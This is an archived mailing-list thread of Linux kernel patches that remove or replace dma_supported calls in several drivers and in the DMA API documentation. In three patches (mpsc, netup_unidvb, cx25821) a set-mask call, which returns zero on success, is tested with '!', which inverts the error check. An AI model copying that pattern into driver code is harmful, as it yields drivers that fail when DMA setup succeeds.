Xref: news.gmane.org gmane.linux.kernel:2053284 gmane.comp.video.dri.devel:138018 gmane.linux.drivers.video-input-infrastructure:95619 gmane.linux.network:380761 gmane.linux.ports.parisc:26060 gmane.linux.serial:20103 gmane.linux.usb.general:131776
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053284>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/tty/serial/mpsc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/tty/serial/mpsc.c b/drivers/tty/serial/mpsc.c
index 82bb6d1..11e084e 100644
--- a/drivers/tty/serial/mpsc.c
+++ b/drivers/tty/serial/mpsc.c
@@ -755,7 +755,7 @@ static int mpsc_alloc_ring_mem(struct mpsc_port_info *pi)
 		pi->port.line);
 
 	if (!pi->dma_region) {
-		if (!dma_supported(pi->port.dev, 0xffffffff)) {
+		if (!dma_set_mask(pi->port.dev, 0xffffffff)) {
 			printk(KERN_ERR "MPSC: Inadequate DMA support\n");
 			rc = -ENXIO;
 		} else if ((pi->dma_region = dma_alloc_noncoherent(pi->port.dev,
-- 
1.9.1


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 15/15] dma: remove external references to dma_supported
Date: Sat,  3 Oct 2015 17:19:39 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <1443885579-7094-16-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885898 15266 80.91.229.3 (3 Oct 2015 15:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:24:58 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:24:49 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOg3-0001LL-Mv
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:24:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753304AbbJCPYh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:24:37 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51366 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753260AbbJCPYT (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:24:19 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOfN-0004XH-2p; Sat, 03 Oct 2015 15:24:05 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053285 gmane.comp.video.dri.devel:138019 gmane.linux.drivers.video-input-infrastructure:95620 gmane.linux.network:380762 gmane.linux.ports.parisc:26061 gmane.linux.serial:20104 gmane.linux.usb.general:131777
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053285>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 Documentation/DMA-API.txt       | 13 -------------
 drivers/usb/host/ehci-hcd.c     |  2 +-
 drivers/usb/host/fotg210-hcd.c  |  2 +-
 drivers/usb/host/fusbh200-hcd.c |  2 +-
 drivers/usb/host/oxu210hp-hcd.c |  2 +-
 5 files changed, 4 insertions(+), 17 deletions(-)

diff --git a/Documentation/DMA-API.txt b/Documentation/DMA-API.txt
index edccacd..55f48684 100644
--- a/Documentation/DMA-API.txt
+++ b/Documentation/DMA-API.txt
@@ -142,19 +142,6 @@ Part Ic - DMA addressing limitations
 ------------------------------------
 
 int
-dma_supported(struct device *dev, u64 mask)
-
-Checks to see if the device can support DMA to the memory described by
-mask.
-
-Returns: 1 if it can and 0 if it can't.
-
-Notes: This routine merely tests to see if the mask is possible.  It
-won't change the current mask settings.  It is more intended as an
-internal API for use by the platform than an external API for use by
-driver writers.
-
-int
 dma_set_mask_and_coherent(struct device *dev, u64 mask)
 
 Checks to see if the mask is possible and updates the device
diff --git a/drivers/usb/host/ehci-hcd.c b/drivers/usb/host/ehci-hcd.c
index c63d82c..48c92bf 100644
--- a/drivers/usb/host/ehci-hcd.c
+++ b/drivers/usb/host/ehci-hcd.c
@@ -589,7 +589,7 @@ static int ehci_run (struct usb_hcd *hcd)
 	 * streaming mappings for I/O buffers, like pci_map_single(),
 	 * can return segments above 4GB, if the device allows.
 	 *
-	 * NOTE:  the dma mask is visible through dma_supported(), so
+	 * NOTE:  the dma mask is visible through dev->dma_mask, so
 	 * drivers can pass this info along ... like NETIF_F_HIGHDMA,
 	 * Scsi_Host.highmem_io, and so forth.  It's readonly to all
 	 * host side drivers though.
diff --git a/drivers/usb/host/fotg210-hcd.c b/drivers/usb/host/fotg210-hcd.c
index 000ed80..c5fc3ef 100644
--- a/drivers/usb/host/fotg210-hcd.c
+++ b/drivers/usb/host/fotg210-hcd.c
@@ -5258,7 +5258,7 @@ static int fotg210_run(struct usb_hcd *hcd)
 	 * streaming mappings for I/O buffers, like pci_map_single(),
 	 * can return segments above 4GB, if the device allows.
 	 *
-	 * NOTE:  the dma mask is visible through dma_supported(), so
+	 * NOTE:  the dma mask is visible through dev->dma_mask, so
 	 * drivers can pass this info along ... like NETIF_F_HIGHDMA,
 	 * Scsi_Host.highmem_io, and so forth.  It's readonly to all
 	 * host side drivers though.
diff --git a/drivers/usb/host/fusbh200-hcd.c b/drivers/usb/host/fusbh200-hcd.c
index 1fd8718..4a1243a 100644
--- a/drivers/usb/host/fusbh200-hcd.c
+++ b/drivers/usb/host/fusbh200-hcd.c
@@ -5181,7 +5181,7 @@ static int fusbh200_run (struct usb_hcd *hcd)
 	 * streaming mappings for I/O buffers, like pci_map_single(),
 	 * can return segments above 4GB, if the device allows.
 	 *
-	 * NOTE:  the dma mask is visible through dma_supported(), so
+	 * NOTE:  the dma mask is visible through dev->dma_mask, so
 	 * drivers can pass this info along ... like NETIF_F_HIGHDMA,
 	 * Scsi_Host.highmem_io, and so forth.  It's readonly to all
 	 * host side drivers though.
diff --git a/drivers/usb/host/oxu210hp-hcd.c b/drivers/usb/host/oxu210hp-hcd.c
index fe3bd1c..1f139d8 100644
--- a/drivers/usb/host/oxu210hp-hcd.c
+++ b/drivers/usb/host/oxu210hp-hcd.c
@@ -2721,7 +2721,7 @@ static int oxu_run(struct usb_hcd *hcd)
 	 * streaming mappings for I/O buffers, like pci_map_single(),
 	 * can return segments above 4GB, if the device allows.
 	 *
-	 * NOTE:  the dma mask is visible through dma_supported(), so
+	 * NOTE:  the dma mask is visible through dev->dma_mask, so
 	 * drivers can pass this info along ... like NETIF_F_HIGHDMA,
 	 * Scsi_Host.highmem_io, and so forth.  It's readonly to all
 	 * host side drivers though.
-- 
1.9.1


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 12/15] kaweth: remove ifdefed out call to dma_supported
Date: Sat,  3 Oct 2015 17:19:36 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <1443885579-7094-13-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885927 15723 80.91.229.3 (3 Oct 2015 15:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:25:27 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:25:26 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOge-0001ye-FC
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:25:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753326AbbJCPZP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:25:15 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51331 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753234AbbJCPYM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:24:12 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOfE-0004Ut-GG; Sat, 03 Oct 2015 15:23:56 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053286 gmane.comp.video.dri.devel:138020 gmane.linux.drivers.video-input-infrastructure:95621 gmane.linux.network:380763 gmane.linux.ports.parisc:26062 gmane.linux.serial:20105 gmane.linux.usb.general:131778
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053286>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/usb/kaweth.c | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/drivers/net/usb/kaweth.c b/drivers/net/usb/kaweth.c
index 1e9cdca..f64b25c 100644
--- a/drivers/net/usb/kaweth.c
+++ b/drivers/net/usb/kaweth.c
@@ -1177,12 +1177,6 @@ err_fw:
 	INIT_DELAYED_WORK(&kaweth->lowmem_work, kaweth_resubmit_tl);
 	usb_set_intfdata(intf, kaweth);
 
-#if 0
-// dma_supported() is deeply broken on almost all architectures
-	if (dma_supported (dev, 0xffffffffffffffffULL))
-		kaweth->net->features |= NETIF_F_HIGHDMA;
-#endif
-
 	SET_NETDEV_DEV(netdev, dev);
 	if (register_netdev(netdev) != 0) {
 		dev_err(dev, "Error registering netdev.\n");
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.network,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: [PATCH 10/15] nouveau: don't call pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:34 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <1443885579-7094-11-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885970 16521 80.91.229.3 (3 Oct 2015 15:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:26:10 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: netdev-owner@vger.kernel.org Sat Oct 03 17:25:56 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZiOh9-0002YS-5W
	for linux-netdev-2@plane.gmane.org; Sat, 03 Oct 2015 17:25:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753215AbbJCPYJ (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Sat, 3 Oct 2015 11:24:09 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51300 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753143AbbJCPYE (ORCPT
	<rfc822;netdev@vger.kernel.org>); Sat, 3 Oct 2015 11:24:04 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOf8-0004Tl-SJ; Sat, 03 Oct 2015 15:23:51 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:380764 gmane.comp.video.dri.devel:138021 gmane.linux.drivers.video-input-infrastructure:95622 gmane.linux.ports.parisc:26063 gmane.linux.serial:20106 gmane.linux.usb.general:131779 gmane.linux.kernel:2053287
Archived-At: <http://permalink.gmane.org/gmane.linux.network/380764>

Just try to set a 64-bit DMA mask first and retry with the smaller dma_mask
if dma_set_mask failed.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/gpu/drm/nouveau/nouveau_ttm.c | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/drivers/gpu/drm/nouveau/nouveau_ttm.c b/drivers/gpu/drm/nouveau/nouveau_ttm.c
index 3f0fb55..bb030e6 100644
--- a/drivers/gpu/drm/nouveau/nouveau_ttm.c
+++ b/drivers/gpu/drm/nouveau/nouveau_ttm.c
@@ -350,11 +350,14 @@ nouveau_ttm_init(struct nouveau_drm *drm)
 
 	bits = nvxx_mmu(&drm->device)->dma_bits;
 	if (nvxx_device(&drm->device)->func->pci) {
-		if (drm->agp.bridge ||
-		     !pci_dma_supported(dev->pdev, DMA_BIT_MASK(bits)))
+		if (drm->agp.bridge)
 			bits = 32;
 
 		ret = pci_set_dma_mask(dev->pdev, DMA_BIT_MASK(bits));
+		if (ret && bits != 32) {
+			bits = 32;
+			ret = pci_set_dma_mask(dev->pdev, DMA_BIT_MASK(bits));
+		}
 		if (ret)
 			return ret;
 
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 11/15] sfc: don't call dma_supported
Date: Sat,  3 Oct 2015 17:19:35 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <1443885579-7094-12-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443885994 16720 80.91.229.3 (3 Oct 2015 15:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:26:34 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:26:28 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOhg-00038d-AT
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:26:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753193AbbJCP0S (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:26:18 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51315 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753162AbbJCPYH (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:24:07 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOfB-0004UQ-Lw; Sat, 03 Oct 2015 15:23:54 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053288 gmane.comp.video.dri.devel:138022 gmane.linux.drivers.video-input-infrastructure:95623 gmane.linux.network:380765 gmane.linux.ports.parisc:26064 gmane.linux.serial:20107 gmane.linux.usb.general:131780
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053288>

dma_set_mask already checks for a supported DMA mask before updating it,
the call to dma_supported is redundant.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/ethernet/sfc/efx.c | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/drivers/net/ethernet/sfc/efx.c b/drivers/net/ethernet/sfc/efx.c
index 974637d..4abe886 100644
--- a/drivers/net/ethernet/sfc/efx.c
+++ b/drivers/net/ethernet/sfc/efx.c
@@ -1247,11 +1247,9 @@ static int efx_init_io(struct efx_nic *efx)
 	 * masks event though they reject 46 bit masks.
 	 */
 	while (dma_mask > 0x7fffffffUL) {
-		if (dma_supported(&pci_dev->dev, dma_mask)) {
-			rc = dma_set_mask_and_coherent(&pci_dev->dev, dma_mask);
-			if (rc == 0)
-				break;
-		}
+		rc = dma_set_mask_and_coherent(&pci_dev->dev, dma_mask);
+		if (rc == 0)
+			break;
 		dma_mask >>= 1;
 	}
 	if (rc) {
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 08/15] netup_unidvb: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:32 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-9-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443886023 17257 80.91.229.3 (3 Oct 2015 15:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:27:03 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:27:02 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOiD-0003i7-WE
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:27:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753341AbbJCP0y (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:26:54 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51261 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753101AbbJCPX7 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:59 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOf3-0004S3-5X; Sat, 03 Oct 2015 15:23:45 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053289 gmane.comp.video.dri.devel:138023 gmane.linux.drivers.video-input-infrastructure:95624 gmane.linux.network:380766 gmane.linux.ports.parisc:26065 gmane.linux.serial:20108 gmane.linux.usb.general:131781
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053289>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/media/pci/netup_unidvb/netup_unidvb_core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/media/pci/netup_unidvb/netup_unidvb_core.c b/drivers/media/pci/netup_unidvb/netup_unidvb_core.c
index 6d8bf627..511144f 100644
--- a/drivers/media/pci/netup_unidvb/netup_unidvb_core.c
+++ b/drivers/media/pci/netup_unidvb/netup_unidvb_core.c
@@ -809,7 +809,7 @@ static int netup_unidvb_initdev(struct pci_dev *pci_dev,
 		"%s(): board vendor 0x%x, revision 0x%x\n",
 		__func__, board_vendor, board_revision);
 	pci_set_master(pci_dev);
-	if (!pci_dma_supported(pci_dev, 0xffffffff)) {
+	if (!pci_set_dma_mask(pci_dev, 0xffffffff)) {
 		dev_err(&pci_dev->dev,
 			"%s(): 32bit PCI DMA is not supported\n", __func__);
 		goto pci_detect_err;
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.network,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: [PATCH 06/15] cx25821: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:30 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-7-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443886102 18191 80.91.229.3 (3 Oct 2015 15:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:28:22 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: netdev-owner@vger.kernel.org Sat Oct 03 17:28:16 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZiOjO-00053V-1k
	for linux-netdev-2@plane.gmane.org; Sat, 03 Oct 2015 17:28:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753412AbbJCP2D (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Sat, 3 Oct 2015 11:28:03 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51223 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753022AbbJCPXy (ORCPT
	<rfc822;netdev@vger.kernel.org>); Sat, 3 Oct 2015 11:23:54 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOex-0004PM-Cs; Sat, 03 Oct 2015 15:23:39 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:380767 gmane.comp.video.dri.devel:138024 gmane.linux.drivers.video-input-infrastructure:95625 gmane.linux.ports.parisc:26066 gmane.linux.serial:20109 gmane.linux.usb.general:131782 gmane.linux.kernel:2053291
Archived-At: <http://permalink.gmane.org/gmane.linux.network/380767>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/media/pci/cx25821/cx25821-core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/media/pci/cx25821/cx25821-core.c b/drivers/media/pci/cx25821/cx25821-core.c
index 559f829..dbc695f 100644
--- a/drivers/media/pci/cx25821/cx25821-core.c
+++ b/drivers/media/pci/cx25821/cx25821-core.c
@@ -1319,7 +1319,7 @@ static int cx25821_initdev(struct pci_dev *pci_dev,
 		dev->pci_lat, (unsigned long long)dev->base_io_addr);
 
 	pci_set_master(pci_dev);
-	if (!pci_dma_supported(pci_dev, 0xffffffff)) {
+	if (!pci_set_dma_mask(pci_dev, 0xffffffff)) {
 		pr_err("%s/0: Oops: no 32bit PCI DMA ???\n", dev->name);
 		err = -EIO;
 		goto fail_irq;
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
